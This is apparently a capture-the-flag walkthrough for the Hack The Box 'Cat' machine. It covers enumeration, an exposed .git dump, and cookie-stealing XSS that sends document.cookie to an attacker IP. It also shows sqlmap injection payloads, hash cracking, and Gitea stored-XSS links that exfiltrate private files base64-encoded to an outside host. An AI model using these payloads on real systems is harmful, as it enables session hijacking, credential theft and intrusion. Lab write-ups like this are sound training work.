HTB: Cat - Medium

Enumeration

First lets start off with a Nmap scan, using sudo nmap -sC -sV 10.129.252.164 -oN cat.nmap:

Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-05-17 03:44 CEST
Nmap scan report for 10.129.252.164
Host is up (0.10s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 96:2d:f5:c6:f6:9f:59:60:e5:65:85:ab:49:e4:76:14 (RSA)
|   256 9e:c4:a4:40:e9:da:cc:62:d1:d6:5a:2f:9e:7b:d4:aa (ECDSA)
|_  256 6e:22:2a:6a:6d:eb:de:19:b7:16:97:c2:7e:89:29:d5 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Did not follow redirect to http://cat.htb/
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.46 seconds

We add cat.htb to our /etc/hosts file.
The page we ware met with is the following:

Running feroxbuster to enumerate the endpoints, we use the command feroxbuster --url http://cat.htb/ --wordlist /usr/share/seclists/Discovery/Web-Content/raft-large-files.txt – revealing a .git folder:

feroxbuster --url http://cat.htb/ --wordlist /usr/share/seclists/Discovery/Web-Content/raft-large-files.txt
[..]
200      GET       41l       83w     1242c http://cat.htb/vote.php
200      GET      127l      270w     2900c http://cat.htb/css/styles.css
302      GET        1l        0w        1c http://cat.htb/contest.php => http://cat.htb/join.php
200      GET      129l      285w     3075c http://cat.htb/
200      GET        1l        0w        1c http://cat.htb/config.php
302      GET        0l        0w        0c http://cat.htb/logout.php => http://cat.htb/
200      GET      127l      715w    53503c http://cat.htb/img/cat3.webp
200      GET      304l     1647w   132808c http://cat.htb/img/cat1.jpg
200      GET      904l     5604w   448419c http://cat.htb/img/cat2.png
301      GET        9l       28w      301c http://cat.htb/.git => http://cat.htb/.git/

We can dump this using git-dumper using the command git-dumper http://cat.htb/.git ..

With the git dumped, we can now view its contents.
There is only a commit in the git log:

commit 8c2c2701eb4e3c9a42162cfb7b681b6166287fd5 (HEAD -> master)
Author: Axel <axel2017@gmail.com>
Date:   Sat Aug 31 23:26:14 2024 +0000

    Cat v1

Viewing the content of the dumped git repository, we are met with the following files:

.git
accept_cat.php
admin.php
config.php
contest.php
css
delete_cat.php
img
img_winners
index.php
join.php
logout.php
view_cat.php
vote.php
winners
winners.php

Inspecting each .php file, we are able to reveal that the admin.php is vulnerable to a XSS in the cat_name:

onclick="acceptCat('<?php echo htmlspecialchars($cat['cat_name']); ?>', <?php echo htmlspecialchars($cat['cat_id']); ?>)"

The accept_cat.php is vulnerable to a SQL injection, which would be of interest later on:

$sql_insert = "INSERT INTO accepted_cats (name) VALUES ('$cat_name')";

The config.php contains some information about the db (revealing SQLite):

$db_file = '/databases/cat.db';

// Connect to the database
try {
    $pdo = new PDO("sqlite:$db_file");
    $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
} catch (PDOException $e) {
    die("Error: " . $e->getMessage());
}
?>

We also notice that join.php is vulnerable for a XSS attack:

<div class="message"><?php echo $success_message; ?></div>
<div class="error-message"><?php echo $error_message; ?></div>

And contest.php is also vulnerable for a XSS attack:

<div class="message"><?php echo $success_message; ?></div>
[..]
<div class="error-message"><?php echo $error_message; ?></div>

Exploit

Lets start to exploit the cross-site scripting, by stealing the cookie of a higher privilege user.

The payload I used which I grabbed from PayloadAllTheThings:

<script>document.location='http://10.10.14.190/XSS/grabber.php?c='+document.cookie</script>

Which we then input in the username field:

And to obtain interaction from the higher privilege user, we submit a image for review:

Within a short-time period, a request is received – and the cookie is stolen:

[Sat May 17 04:19:11 2025] 10.129.252.164:42824 Accepted
[Sat May 17 04:19:11 2025] 10.129.252.164:42812 Accepted
[Sat May 17 04:19:11 2025] 10.129.252.164:42824 [404]: GET /XSS/grabber.php?c=PHPSESSID=sjo937q4s3p7ps7l5h86sr9k4g - No such file or directory
[Sat May 17 04:19:11 2025] 10.129.252.164:42824 Closing
[Sat May 17 04:19:11 2025] 10.129.252.164:42812 [404]: GET /favicon.ico - No such file or directory
[Sat May 17 04:19:11 2025] 10.129.252.164:42812 Closing

We add this cookie with cookie editor:

Now that we have escalated our privilege inside of the web application, lets try out the admin.php endpoint, and get a SQL injection via the accept_cat.php:

We click accept and intercept its request using Burp suite.
This is where I copy the entire request into a file called req.txt – the following command is used for the SQL injection:

sqlmap -r req.txt --level=5 --risk=3 --threads=10 --batch

With as result, revealing that it got a injection:

(custom) POST parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 1724 HTTP(s) requests:
---
Parameter: #1* ((custom) POST)
    Type: boolean-based blind
    Title: SQLite AND boolean-based blind - WHERE, HAVING, GROUP BY or HAVING clause (JSON)
    Payload: catName=' AND CASE WHEN 3372=3372 THEN 3372 ELSE JSON(CHAR(79,66,117,85)) END AND 'iZUB'='iZUB&catId=1
---
[04:24:27] [INFO] the back-end DBMS is SQLite
web server operating system: Linux Ubuntu 20.04 or 20.10 or 19.10 (focal or eoan)
web application technology: Apache 2.4.41
back-end DBMS: SQLite

This injection was very unstable, so with the information I have retrieved from this injection, I modified the SQLmap command and input the information:

sqlmap -r req.txt --batch -D SQLite_masterdb --dump --dbms=SQLite --dump --flush-session --level=5 --risk=3

With as result, the SQL injection is again obtained, but now we got a time-based blind added to it:

(custom) POST parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 102 HTTP(s) requests:
---
Parameter: #1* ((custom) POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: catName='||(SELECT CHAR(101,112,99,78) WHERE 6382=6382 AND 1830=1830)||'&catId=1

    Type: time-based blind
    Title: SQLite > 2.0 AND time-based blind (heavy query)
    Payload: catName='||(SELECT CHAR(120,79,116,104) WHERE 6713=6713 AND 2415=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))))
||'&catId=1
---

Adding the --threads=10 increased the speed, allowing to dump the following:

user_idemailpasswordusername
1axel2017@gmail.comd1bbba3670feb9435c9841e46e60ee2faxel
2rosamendoza485@gmail.comac369922d560f17d6eeb8b2c7dec498crosa
3robertcervantes2000@gmail.com42846631708f69c00ec0c0a8aa4a92adrobert
4fabiancarachure2323@gmail.com39e153e825c4a3d314a0dc7f7475ddbefabian
5jerrysonC343@gmail.com781593e060f8d065cd7281c5ec5b4b86jerryson
6larryP5656@gmail.com1b6dce240bbfbc0905a664ad199e18f8larry
7royer.royer2323@gmail.comc598f6b844a36fa7836fba0835f1f6royer
8peterCC456@gmail.come41ccefa439fc454f7eadbf1f139ed8apeter
9angel234g@gmail.com24a8ec003ac2e1b3c5953a6f95f8f565angel
10jobert2020@gmail.com88e4dceccd48820cf77b5cf6c08698adjobert

With these credentials dumped, I ran it through hashcat with hashcat hashes.txt -m 0 ../../../rockyou.txt – revealing:

ac369922d560f17d6eeb8b2c7dec498c:soyunaprincesarosa

This is the password for rosa, so lets SSH into this user:

ssh rosa@cat.htb
[..]
rosa@cat:~$ whoami
rosa

Privilege Escalation

From rosa to axel

With access as rosa, I enumerated the machine and ended up reading the access.log file – which shows plaintext authentication requests:

rosa@cat:/var/log/apache2$ cat access.log | grep '/join.php' | grep axel
[..]
/join.php?loginUsername=axel&loginPassword=aNdZwgC4tI9gnVXv_e3Q&loginForm=Login

Revealing the password for axel.

From axel to root

ssh axel@cat.htb
[..]
axel@cat:~$ whoami
axel
axel@cat:~$ cat user.txt
83110a348940603f85b715afd6aceebb

We now got SSH access to axel.
As soon as we login, we are met with a notification with You have mail.. I then searched for the corresponding directory which contains the e-mail by using find / -name '*mail' 2>/dev/null:

/var/lib/sendmail
/var/mail
/var/spool/mail

When catting /var/mail/axel, we are met with the following e-mail:

axel@cat:/var/mail$ cat axel
From rosa@cat.htb  Sat Sep 28 04:51:50 2024
Return-Path: <rosa@cat.htb>
Received: from cat.htb (localhost [127.0.0.1])
        by cat.htb (8.15.2/8.15.2/Debian-18) with ESMTP id 48S4pnXk001592
        for <axel@cat.htb>; Sat, 28 Sep 2024 04:51:50 GMT
Received: (from rosa@localhost)
        by cat.htb (8.15.2/8.15.2/Submit) id 48S4pnlT001591
        for axel@localhost; Sat, 28 Sep 2024 04:51:49 GMT
Date: Sat, 28 Sep 2024 04:51:49 GMT
From: rosa@cat.htb
Message-Id: <202409280451.48S4pnlT001591@cat.htb>
Subject: New cat services

Hi Axel,

We are planning to launch new cat-related web services, including a cat care website and other projects. Please send an email to jobert@localhost with information about your Gitea repository. Jobert will check if it is a promising service that we can develop.

Important note: Be sure to include a clear description of the idea so that I can understand it properly. I will review the whole repository.

From rosa@cat.htb  Sat Sep 28 05:05:28 2024
Return-Path: <rosa@cat.htb>
Received: from cat.htb (localhost [127.0.0.1])
        by cat.htb (8.15.2/8.15.2/Debian-18) with ESMTP id 48S55SRY002268
        for <axel@cat.htb>; Sat, 28 Sep 2024 05:05:28 GMT
Received: (from rosa@localhost)
        by cat.htb (8.15.2/8.15.2/Submit) id 48S55Sm0002267
        for axel@localhost; Sat, 28 Sep 2024 05:05:28 GMT
Date: Sat, 28 Sep 2024 05:05:28 GMT
From: rosa@cat.htb
Message-Id: <202409280505.48S55Sm0002267@cat.htb>
Subject: Employee management

We are currently developing an employee management system. Each sector administrator will be assigned a specific role, while each employee will be able to consult their assigned tasks. The project is still under development and is hosted in our private Gitea. You can visit the repository at: http://localhost:3000/administrator/Employee-management/. In addition, you can consult the README file, highlighting updates and other important details, at: http://localhost:3000/administrator/Employee-management/raw/branch/main/README.md.

It contains the following information of interest:

  1. Send a e-mail to jobert@localhost
  2. Gitea respository
  3. A endpoint that requires authentication: http://localhost:3000/administrator/Employee-management/raw/branch/main/README.md

So I port forwarded the Gitea repository to with the command ssh -L 3000:localhost:3000 axel@cat.htb :

Where we can logion with our current credentials from axel:

With access as this user, we can now view the version of Gitea at the bottom of the page:

This has a known exploit, which can be found at https://www.exploit-db.com/exploits/52077 – it is a stored XSS vulnerability.

Which I double checked, and it indeed allows for a stored XSS attack:

So lets try and exploit this. In the mean time I tried to get a cookie, but was not able to retrieve this.

Since we previously got the endpoint http://localhost:3000/administrator/Employee-management/raw/branch/main/README.md which requires authentication, lets try and obtain its source information with a CSRF attack.

I crafted the following payload to reveal the README.md:

<a href="javascript:fetch('http://localhost:3000/administrator/Employee-management/raw/branch/main/README.md').then(r=>r.text()).then(d=>fetch('http://10.10.14.190:1337/?d='+encodeURIComponent(btoa(unescape(encodeURIComponent(d))))));">pleasclick</a>

Where I ended up with creating the following repository:

So in the mean time I got stuck, trying to get interaction to my repository, but it did not execute. The button of the XSS needs to appear in the repository – you need to create a new file, allowing to it display the description:

With as result, we get the following respository:

With our repository created (and it being deleted about 100 times while testing how to send a e-mail) – I ended up using the following sendmail command:

echo 'http://localhost:3000/axel/getme' | sendmail jobert@localhost^C

Which after a short-time period, I received the source for README.md:

10.129.252.164 - - [17/May/2025 07:02:48] "GET /?d=IyBFbXBsb3llZSBNYW5hZ2VtZW50ClNpdGUgdW5kZXIgY29uc3RydWN0aW9uLiBBdXRob3JpemVkIHVzZXI6IGFkbWluLiBObyB2aXNpYmlsaXR5IG9yIHVwZGF0ZXMgdmlzaWJsZSB0byBlbXBsb3llZXMu HTTP/1.1" 200 -

Decoding this response, reveals the following:

So since it is a site, lets try and access its other files. Where I ended up with index.php:

<a href="javascript:fetch('http://localhost:3000/administrator/Employee-management/raw/branch/main/index.php').then(r=>r.text()).then(d=>fetch('http://10.10.14.190:1337/?d='+encodeURIComponent(btoa(unescape(encodeURIComponent(d))))));">pleasclick</a>

Which again, resulted in a response:

10.129.252.164 - - [17/May/2025 07:04:16] "GET /?d=PD9waHAKJHZhbGlkX3VzZXJuYW1lID0gJ2FkbWluJzsKJHZhbGlkX3Bhc3N3b3JkID0gJ0lLdzc1ZVIwTVI3Q01JeGhIMCc7CgppZiAoIWlzc2V0KCRfU0VSVkVSWydQSFBfQVVUSF9VU0VSJ10pIHx8ICFpc3NldCgkX1NFUlZFUlsnUEhQX0FVVEhfUFcnXSkgfHwgCiAgICAkX1NFUlZFUlsnUEhQX0FVVEhfVVNFUiddICE9ICR2YWxpZF91c2VybmFtZSB8fCAkX1NFUlZFUlsnUEhQX0FVVEhfUFcnXSAhPSAkdmFsaWRfcGFzc3dvcmQpIHsKICAgIAogICAgaGVhZGVyKCdXV1ctQXV0aGVudGljYXRlOiBCYXNpYyByZWFsbT0iRW1wbG95ZWUgTWFuYWdlbWVudCInKTsKICAgIGhlYWRlcignSFRUUC8xLjAgNDAxIFVuYXV0aG9yaXplZCcpOwogICAgZXhpdDsKfQoKaGVhZGVyKCdMb2NhdGlvbjogZGFzaGJvYXJkLnBocCcpOwpleGl0Owo%2FPgoK HTTP/1.1" 200 -

And decoding this, revealed the admin password:

Now we can reuse this password, and obtain access as the user root:

su root
Password:
root@cat:/home/axel# cat /root/root.txt
6b25[..]ce6e6cb